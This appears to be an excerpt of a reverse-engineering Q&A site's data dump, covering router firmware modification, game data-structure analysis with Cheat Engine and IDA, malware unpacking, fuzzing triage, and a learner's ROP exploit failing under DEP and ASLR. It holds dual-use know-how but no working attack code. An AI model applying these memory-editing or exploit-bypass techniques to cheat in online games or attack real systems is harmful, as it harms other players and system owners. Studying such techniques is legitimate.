  <row Id="6505" PostTypeId="2" ParentId="6503" CreationDate="2014-10-19T20:30:29.920" Score="1" Body="&lt;p&gt;It's very probable that the firmware is stored in a &lt;code&gt;squashfs&lt;/code&gt; image, which is compressed (and supposed to be read-only - it can't be mouted read-write, but must be created through external means), The squashfs image will probably be stored in some piece of flash ram, which can be accessed as &lt;code&gt;/dev/mtbn&lt;/code&gt; on many linux embedded devices, which multiple values of &lt;code&gt;n&lt;/code&gt; refering to different parts of the firmware (boot loader etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often, the boot loader itself is in &lt;code&gt;/dev/mtb0&lt;/code&gt;, and has commands to write to the other &lt;code&gt;/dev/mtb&lt;/code&gt; blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your course of action would be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dump the various &lt;code&gt;/dev/mtb&lt;/code&gt; blocks to files, check which is a squashfs, or maybe different type of file system, that contains your lockbox.bin&lt;/li&gt;&#xA;&lt;li&gt;rebuild that filesystem with your different version of lockbox.bin, and hope it doesn't grow significantly larger to exceed the size of the &lt;code&gt;/dev/mtb&lt;/code&gt; block&lt;/li&gt;&#xA;&lt;li&gt;check how to boot to the boot loader from outside, without starting linux&lt;/li&gt;&#xA;&lt;li&gt;use some boot loader to flash that filesystem to the router&lt;/li&gt;&#xA;&lt;li&gt;reboot the router, and hope you didn't brick it in the process.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is the first time that I've have done something like this&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the chance of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;brick it in the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is certainly non-zero, so proceed with caution.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-19T20:30:29.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6506" PostTypeId="1" AcceptedAnswerId="6507" CreationDate="2014-10-20T08:33:51.973" Score="7" ViewCount="9350" Body="&lt;p&gt;I am currently participating in a reverse code engineering seminar for my studies in informatics: games engineering and was assigned the topic about &quot;Identifying data structures&quot;. After an extensive talk with my supervisor we both came to the conclusion that it would make sense that i combine the topic with reversing game binaries.&#xA;Our deliverables are a 15 page paper and a small tool implementing the techniques we talk about in the paper. We do not necessarily need to invent a new technique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already did some research about reverse engineering data structures in general and came up with mostly tools that automatically reverse engineer data structures from binary execution (e.g. &lt;a href=&quot;https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf&quot;&gt;https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: What would be a reasonable tool to program or a technique to write about in relation to reversing data structures from video game binaries (like World of Warcraft)? Is the method mentioned in the paper above still applicable to game binaries or are there any other known techniques?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have some experience when it comes to reverse engineering, but i am no where near &quot;pro&quot;-level. I am mostly working on a Windows (x64) platform.&lt;/p&gt;&#xA;" OwnerUserId="9832" LastActivityDate="2014-10-21T00:46:00.100" Title="Reverse Engineering of data structures in games" Tags="|windows|c++|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6507" PostTypeId="2" ParentId="6506" CreationDate="2014-10-20T09:45:38.563" Score="7" Body="&lt;p&gt;Side Note: WoW, or any comparable MMORPG, is probably a bad target for your research, because many of those feature various anti-hack, anti-cheat or anti-botting techniques, which will probably detect what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm far from being an expert on this myself, but i've disassembled and tried to understand a 20 year old game as a hobby project recently. The executable has a size of 800 KB, IDA detected about 1750 functions in it, 250 of which were C/C++ library functions. Needless to say, i spent quite some time looking at various functions and checking the strings they used without understanding too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What brought the breakthrough for me was when i found out how the compiler handled class construction; each class constructor calls a &lt;code&gt;malloc()&lt;/code&gt;-like function (with the size as parameter), then calls the constructor of the superclass, then initializes the methods (there is no vtable like in more modern compilers; the compiler initializes every &quot;function pointer&quot; individually) and class variables. Cross-referencing those &lt;code&gt;malloc()&lt;/code&gt; calls, checking the sizes of the classes allocated, and following the chains of &quot;constructor calls superclass constructor&quot; immediately gave me an idea of the whole class tree and the size of each class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i got an idea of which function was a subclass method of which other function in the main class, which brought a lot of insight into the purpose of those functions, as as i knew which function was a class method of which class, it was quite easy to track the &lt;code&gt;this&lt;/code&gt; pointer of the function, track its dereferences, and find out which class element was used as integer, double, or pointer type, and in case of pointers, know which other class type they pointed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my first exposure to IDA, so i knew nothing about its scripting capabilities and started learning about them when things became too repetitive; if i had to do the same now, i'd probably script/automate a lot of what i did manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might even be easier with modern C++ compilers that use vtables in a predictible way; check where the vtables get assigned to find out where classes get instantiated; check the superclass-constructor calls to find out about class hierarchy; check the sizes in &lt;code&gt;malloc&lt;/code&gt;/&lt;code&gt;new&lt;/code&gt; calls to get structure/class sizes; track the &lt;code&gt;this&lt;/code&gt; pointers in class methods (which are easily identified through the vtables) to find out how the elements are used. All this can be done using static analysis, so you don't even have to care much about how anti-cheat/anti-debug techniques might affect the outcome.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-20T09:45:38.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6508" PostTypeId="2" ParentId="6506" CreationDate="2014-10-20T12:35:06.207" Score="5" Body="&lt;p&gt;This answer is just to expand on what @Guntram Blohm has said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is really way to broad to answer so, I'm going to make the assumption that your reverse engineering x86/x64 native executables on Windows (not bytecodes languages such as Java and .NET). First of let me say that this isn't a full of methods as there is so many way depending on so many things. Here is a list of potential things which would affect your reverse engineering techniques:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows version (Many of the older tools only run on XP that's why I have a VM setup for XP. But not all games run on XP)&lt;/li&gt;&#xA;&lt;li&gt;Executable architecture (Not all debuggers are multi architectures)&lt;/li&gt;&#xA;&lt;li&gt;Native or bytecode language (Bytecodes can be decompiled)&lt;/li&gt;&#xA;&lt;li&gt;Compilers some compilers expose meta data which can be useful for reverse engineering. (You can use PEiD to work out what the executable was compiled with. Note: Packers can obfuscate what it was originally compiled using though).&lt;/li&gt;&#xA;&lt;li&gt;Protection such as packers or anti-cheats (Too much to answer without getting off-topic If you want to make a new question and I'll gladly answer it) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&#xA;Firstly, do your research and you may find the game engine SDK which will have all the data structures and if any slight modifications check method 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&#xA;If you wanted to find a particular data structure for example you wanted to find your players health. If you found your health in Cheat Engine then looked what writes to it using the Cheat Engine debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's pretend we had this instruction write to our health value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV [EAX+32], EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We know +32 is an offset of the data structure which holds health in there. Which you could use tool such as ReClass to aid you or structure in Cheat Engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done this you could change values held at each variable and see if it has a visual impact on game. If you can't manage to work it out you can set bp on all registers for the value of your base address register + offset on the complexed breakpoint conditions. Once the breakpoint is hit you'll have to step through the assembly opcodes to try work out whats the address is used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to check the EAT for any hints for functions or data that is exposed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend you get yourself the following tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cheat Engine&lt;/li&gt;&#xA;&lt;li&gt;IDA PRO&lt;/li&gt;&#xA;&lt;li&gt;PEiD&lt;/li&gt;&#xA;&lt;li&gt;ReClass&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-10-20T12:35:06.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6509" PostTypeId="2" ParentId="6499" CreationDate="2014-10-20T12:36:25.693" Score="0" Body="&lt;p&gt;A bit of Trivia to add to Jason and Guntam's answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Ida normally&lt;/code&gt; seems to name the function &lt;code&gt;nullsub_XX&lt;/code&gt; only when the &lt;code&gt;function body contains a single return&lt;/code&gt; and this single return cannot be achieved by &lt;code&gt;normal programming&lt;/code&gt; style&lt;br&gt;&#xA;if you write a c program  like &lt;code&gt;void foo(void){};&lt;/code&gt; this would create a &lt;code&gt;prolog and epilog&lt;/code&gt; which Ida Would name &lt;code&gt;sub_XXXXXXX&lt;/code&gt; &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;nullsub_XX&lt;/code&gt; most of the &lt;code&gt;malwarion contructs&lt;/code&gt; use assembly programming so a single return can be assembled in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if you want to think c style&lt;/code&gt; you may need to ensure &lt;code&gt;no prolog and epilog are generated&lt;/code&gt; by using &lt;code&gt;__declspec(naked)&lt;/code&gt; this invariably involves &lt;code&gt;inline assembly and an embedded _retn&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample code below will generate nullsub_xx when compiled in msvc with the given commandline &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;char info[] = {&#xA;    &quot;this is the func whose block size needs to be calculated since &quot;&#xA;    &quot;the function is between two nullsub subtracting the address of &quot;&#xA;    &quot;them gets the size of block but be aware compilers are clever  &quot;&#xA;    &quot;and may do away all of this if compiled with optimsation /OXXX &quot;&#xA;};&#xA;char buff[0x200] ={0};&#xA;__declspec(naked) void startlabel(void) {__asm{retn}};&#xA;void func2size(void) {&#xA;    wsprintf(buff,&quot;%s\n&quot;,info);&#xA;    MessageBox(0,buff,&quot;whats nullsub demo&quot;,0);&#xA;    return;&#xA;}&#xA;__declspec(naked) void endlabel(void) {__asm{retn}};&#xA;int WINAPI WinMain(HINSTANCE hi,HINSTANCE hpi,LPSTR cmd,int show) {&#xA;    wsprintf(buff,&quot;blocksiz\t0x%08x\n&quot;,((char *)endlabel-(char *)startlabel));&#xA;    MessageBoxA(0,buff,&quot;whats nullsub demo&quot;,0);&#xA;    ExitProcess(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo dynsize.c user32.lib kernel32.lib /link /ENTRY:WinMain /SUBSYSTEM:Windows dynsize.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if &lt;code&gt;optimizations are enabled&lt;/code&gt; compiler will discard func2size() because it is &lt;code&gt;unreferenced&lt;/code&gt;&lt;br&gt;&#xA;compiler will coalesce both the label functions into one single retn opcode because compiler will notice that both the function body are same only the names are differnt which doesnt make any difference in execution &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qejp8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-10-20T12:36:25.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6510" PostTypeId="1" CreationDate="2014-10-20T15:57:57.213" Score="1" ViewCount="4387" Body="&lt;p&gt;I have the follwoing error message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Don't know how to step because memory at address 00000000 is not readable.&#xA; Try to change EIP or pass exeption to program.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because I dont know how to change the EIP, I try it with exception passing. So:&#xA;When I click Shift+F7/F8 to pass exception to the program, then nothing happens. When I try Shift+F9 the program runs in a RETN instruction, somewhere at the end of the whole process. So, the whole thing doesnt work. &#xA;After that, I try the following:&#xA;In the Debugging options(in the Exeptions-Tab) I enable the field &quot;Memory access violation&quot;.&#xA;But the error message comes again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is now: &#xA;How can I fix that problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing is(i dont know if that information is relevant but I write it):&#xA;When I open the malware with ollydbg a message appears to inform me that is encrpyted or compressed. You know, the typical error message when you deal with packed malware.&#xA;But the problem is, that I definitely unpacked it. And the beginning of that, is a normal beginning/intro like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       PUSH EBP&#xA;       MOV EBP, ESP&#xA;       ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, when I open the packed version of the process with PEiD, it tells me that it is packed with FSG 1.3.3 -&gt; bart/xt.&#xA;When I open the unpacked version of the malware, PEiD tells me : Nothing found *&#xA;So, I am very confused about the fact that Ollydbg talks about compressed/packed data although I have unpacked it. &#xA;So, how that can be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-12-26T00:40:37.837" Title="OllDbg error message" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6511" PostTypeId="2" ParentId="6506" CreationDate="2014-10-21T00:46:00.100" Score="0" Body="&lt;p&gt;If you consider a different approach, that is statically analyze the data formats without binary execution, I suggest to have a look at &lt;a href=&quot;http://reversingonwindows.blogspot.sg/2014/04/examining-unknown-binary-formats.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; blog post describing &quot;the methods for examining unknown binary formats that can be either a file, file fragment, or memory dump.&quot;&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-10-21T00:46:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6512" PostTypeId="1" AcceptedAnswerId="6514" CreationDate="2014-10-21T09:57:59.503" Score="1" ViewCount="158" Body="&lt;p&gt;I am trying to teach myself some ROP programming. And I have tried&#xA;to do some training exploits from different sites. So, right now, I have this&#xA;little application where GS, safeSEH ALSR and DEP are enabled (on application level not on OS). So, when I make an attempt to exploit this application it works pretty well ( &lt;a href=&quot;http://pastebin.com/TdDR3W0y&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/TdDR3W0y&lt;/a&gt;). It just pops &lt;code&gt;calc.exe&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, on the other side, when I enable OS level DEP, then my exploit generates a segfault and crashes the application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is what is the difference between application level DEP and OS level DEP ? Do, I have to make other/different function calls (instead to VirtualProc) when I try to circumvent DEP ?&lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="53" LastEditDate="2014-10-21T12:11:44.600" LastActivityDate="2014-10-21T21:22:29.330" Title="What is the difference between application level DEP and OS level DEP?" Tags="|debuggers|exploit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6513" PostTypeId="1" CreationDate="2014-10-21T11:30:11.587" Score="1" ViewCount="787" Body="&lt;p&gt;I'm not experienced at reverse engineering at all. I hope this basic question is suitable for this site. Basically I want to know where the value &lt;code&gt;DARWIN_USER_CACHE_DIR&lt;/code&gt; is read from. I'm trying to trace the system calls like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo bash dtruss /usr/bin/getconf DARWIN_USER_CACHE_DIR -h -f -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it would follow any forked processes too. But, I cannot see any calls that would indicate where it originates from.&lt;/p&gt;&#xA;" OwnerUserId="9843" LastEditorUserId="53" LastEditDate="2014-10-21T11:35:53.480" LastActivityDate="2015-01-20T17:50:06.493" Title="OSX where does getconf read its value" Tags="|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6514" PostTypeId="2" ParentId="6512" CreationDate="2014-10-21T21:22:29.330" Score="2" Body="&lt;p&gt;Based on the hard-coded values in your code, you are not defeating ASLR at all (0x7c801ad4, 0x0012fbd0, 0x0012fbd0), and perhaps the application does not support it either (0x1003c898, 0x10086d6a), because none of those values should be constant when ASLR is working properly.  The likely reason why you are seeing segfaults is because the 0x7c801ad4 for VirtualAllocEx() probably moved between reboots, as a result of ASLR, but which is visible as a side-effect of enabling DEP and then rebooting.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-10-21T21:22:29.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6515" PostTypeId="1" AcceptedAnswerId="6516" CreationDate="2014-10-21T21:28:48.993" Score="2" ViewCount="5268" Body="&lt;p&gt;I have downloaded a sample of a malware to analyze it. First, I opened it with PEiD to look if it is packed. &#xA;PEiD gives me the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Microsoft Visual Basic 5.0/6.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I assumed that it is not packed. &#xA;When I opened it using ollydbg shows me the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   PUSH malware.00401F8C&#xA;   CALL &amp;lt;JMP.&amp;amp;MSVBVM60.#100&amp;gt;&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   INC EAX&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   ADD BYTE PTR DS:[EAX],AL&#xA;   DB 00&#xA;   DB 1D&#xA;   ....&#xA;   ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, normally it should start with a function prologue(the typical beginning line with PUSH EBP and so on) but although it is not packed, obviously the program tries to make the analyzing process harder (for me). &#xA;When I step to the second line( CALL &amp;lt;...&gt;), then the process begins to run and does not stop. In my previous cases, I have only unpacked malware samples that were packed with UPX. So, a piece of code like that above is completely new for me. So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I solve this? Can someone give me an advice how I can handle that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="1562" LastEditDate="2014-10-21T21:47:45.570" LastActivityDate="2019-09-16T09:25:21.887" Title="Unpacking a program which seems to be not packed?" Tags="|unpacking|visual-basic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6516" PostTypeId="2" ParentId="6515" CreationDate="2014-10-21T21:46:02.650" Score="9" Body="&lt;p&gt;Your program is not packed, but rather compiled as &lt;a href=&quot;http://www.woodmann.com/crackz/Tutorials/Vbpcode.htm&quot; rel=&quot;noreferrer&quot;&gt;Visual Basic P-code&lt;/a&gt; or Visual Basic native code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's VB native code, you can use your favorite debugger (OllyDbg, IDA, etc.) to debug it, and IDA to disassemble it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's VB P-code, you can use &lt;a href=&quot;http://www.vb-decompiler.org/&quot; rel=&quot;noreferrer&quot;&gt;VB Decompiler Pro&lt;/a&gt; to disassemble/decompile it:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ofVTM.png&quot; alt=&quot;VB Decompiler Pro&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and &lt;a href=&quot;http://blackfenix.fortunecity.ws/wktvbdebug/index.html&quot; rel=&quot;noreferrer&quot;&gt;WKTVBDE&lt;/a&gt; to debug it:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gkZov.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that VB Decompiler Pro is useful even for statically analyzing VB native code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-10-22T00:09:37.760" LastActivityDate="2014-10-22T00:09:37.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6517" PostTypeId="1" CreationDate="2014-10-22T06:19:04.800" Score="3" ViewCount="218" Body="&lt;p&gt;I wonder if the tools like AddressSanitizer exist for blackbox analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance I've fuzzer that can probe some 100 variants per second and after a few seconds crash was detected. Maybe some tool can say exactly is this vulnerability or just a bug and distinguish the vulns from each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tools are now known to me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msecdbg.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;!exploitable&lt;/a&gt;     - it's ok, but maybe standalone tool for such purpose exists?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/address-sanitizer/&quot; rel=&quot;nofollow&quot;&gt;AddressSanitizer&lt;/a&gt; - unfortunately no blackbox testing support(as far as I understood app must be linked with AddressSanitizer and specific routines should be invoked)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2014-10-23T08:39:03.797" Title="blackbox vulnerability assessment" Tags="|exploit|fuzzing|vulnerability-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6518" PostTypeId="1" CreationDate="2014-10-22T13:32:29.703" Score="1" ViewCount="60" Body="&lt;p&gt;First of all, it may be that I am just not getting how things work. &lt;em&gt;Stultus sum.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Mac with OSX (10.9), therefore with x86_64 architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to play around a bit with compilers and decompilers. I grabbed a random application from my computer and decompiled it using &lt;em&gt;Hopper Disassembler&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, nice. I now got my assembly code. First thing I noticed was that you can't just &quot;edit&quot; this code from within &lt;em&gt;Hopper&lt;/em&gt;. I guess that's because, if I would edit something, the addresses would go wrong altogether - which would damage the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this point, I tried some different things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I exported the code (&quot;File &gt; Produce Assembly Text File&quot;).&lt;/li&gt;&#xA;&lt;li&gt;I extracted nearly the same code with &lt;em&gt;gobjdump&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I decompiled the executable using &lt;em&gt;otool&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, the code I received with these techniques is more or less the same. How do I &lt;strong&gt;recompile&lt;/strong&gt; that assembly code so I got my modified executable? Being able to read the assembly code is sure an interesting thing, but a bit useless, no? :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what do I need to do to get compile-able assembler code?! Is this even possible or do I need to patch the existing executable?&lt;/p&gt;&#xA;" OwnerUserId="9846" LastActivityDate="2014-10-22T13:32:29.703" Title="Basic Concept misunderstood?" Tags="|osx|hopper|decompile|" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-22T22:44:08.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="6519" PostTypeId="2" ParentId="6517" CreationDate="2014-10-22T14:38:54.647" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://peachfuzzer.com/&quot; rel=&quot;nofollow&quot;&gt;Peach Fuzzer&lt;/a&gt; performs automated exploitability analysis. Though I haven't used it myself and can't say whether or not it's any better than &lt;a href=&quot;http://msecdbg.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;!exploitable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither Peach Fuzzer nor !exploitable meets your needs and you can't find anything else, you're best off grouping crashes by exception code and exception address (RVA if the program uses ASLR). Then if you have ten variants that share the same exception code and exception address, you only need to manually analyze one of them instead of all ten.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-10-22T14:50:19.577" LastActivityDate="2014-10-22T14:50:19.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6520" PostTypeId="2" ParentId="6513" CreationDate="2014-10-22T15:39:15.837" Score="3" Body="&lt;p&gt;Note: I don't know much about OSX, and wouldn't have answered if there had been another answer after 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/getconf.1.html&quot; rel=&quot;nofollow&quot;&gt;Apple&lt;/a&gt;, &lt;code&gt;getconf&lt;/code&gt; uses &lt;code&gt;sysconf&lt;/code&gt; and &lt;code&gt;confstr&lt;/code&gt; to find these configuration values, with &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man3/confstr.3.html#//apple_ref/doc/man/3/confstr&quot; rel=&quot;nofollow&quot;&gt;confstr&lt;/a&gt; handling &lt;code&gt;DARWIN_USER_CACHE_DIR&lt;/code&gt;. The &lt;code&gt;confstr&lt;/code&gt; library function might well hard-code these values - if you check the glibc source, you see the glibc version of &lt;code&gt;confstr&lt;/code&gt; hardcodes &lt;code&gt;CS_PATH&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;code&gt;confstr&lt;/code&gt; manual page also states it can return error code &lt;code&gt;EIO&lt;/code&gt; if there is an &quot;I/O error communicating with opendirectoryd(8)&quot;. Which means these values might be opendirectory attributes as well. Check your dtruss output if there are any socket calls; if there aren't, the attributes are probably hard-coded in libc; else, these paths are probably hidden in the opendirectory configuration somewhere.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-22T15:39:15.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6521" PostTypeId="1" AcceptedAnswerId="6523" CreationDate="2014-10-22T18:31:59.687" Score="7" ViewCount="3555" Body="&lt;p&gt;I keep coming across a compiling pattern that IDA doesn't automatically handle well.  Consider the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, rsp       ; Set rax at the start of the function&#xA;...&#xA;lea rbp, [rax-5Fh] ; Shortly afterward, set rbp as the frame pointer at a nonstandard offset&#xA;...&#xA;mov [rbp+3Fh], rcx ; Reference all stack offsets from rbp for the rest of the function&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, it appears that IDA has lost track of &lt;code&gt;rbp&lt;/code&gt;'s state as an offset into the stack frame, presumably because of the additional indirection.  (We copy from &lt;code&gt;rsp&lt;/code&gt; to &lt;code&gt;rax&lt;/code&gt; to &lt;code&gt;rbp&lt;/code&gt;, rather than just from &lt;code&gt;rsp&lt;/code&gt; to &lt;code&gt;rbp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the above example to look something more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_20= qword ptr -20h&#xA;...&#xA;mov [rbp+5Fh+var_20], rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, as one would expect, if I change the type of &lt;code&gt;3Fh&lt;/code&gt; to be a stack offset, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arg_37= qword ptr 3Fh&#xA;...&#xA;mov [rbp+arg_37], rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is obviously not correct.  I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is it possible to generate the desired output?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If not, how would one normally deal with this?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Solutions I am aware of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I could create a structure for the stack frame and specify the offset delta (occasionally also adjusting for &lt;a href=&quot;http://www.hexblog.com/?p=63&quot;&gt;negative offsets&lt;/a&gt;).  The downsides are that I would have to create a structure for each stack frame I analyze, and I would also not have cross-references.&lt;/li&gt;&#xA;&lt;li&gt;I could just use the incorrect offsets in the stack frame.  This would give me cross-references, but I would expect things to break when touching &lt;code&gt;r&lt;/code&gt;, the offset storing the return address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also relevant: I'm using IDA Pro 6.2.&lt;/p&gt;&#xA;" 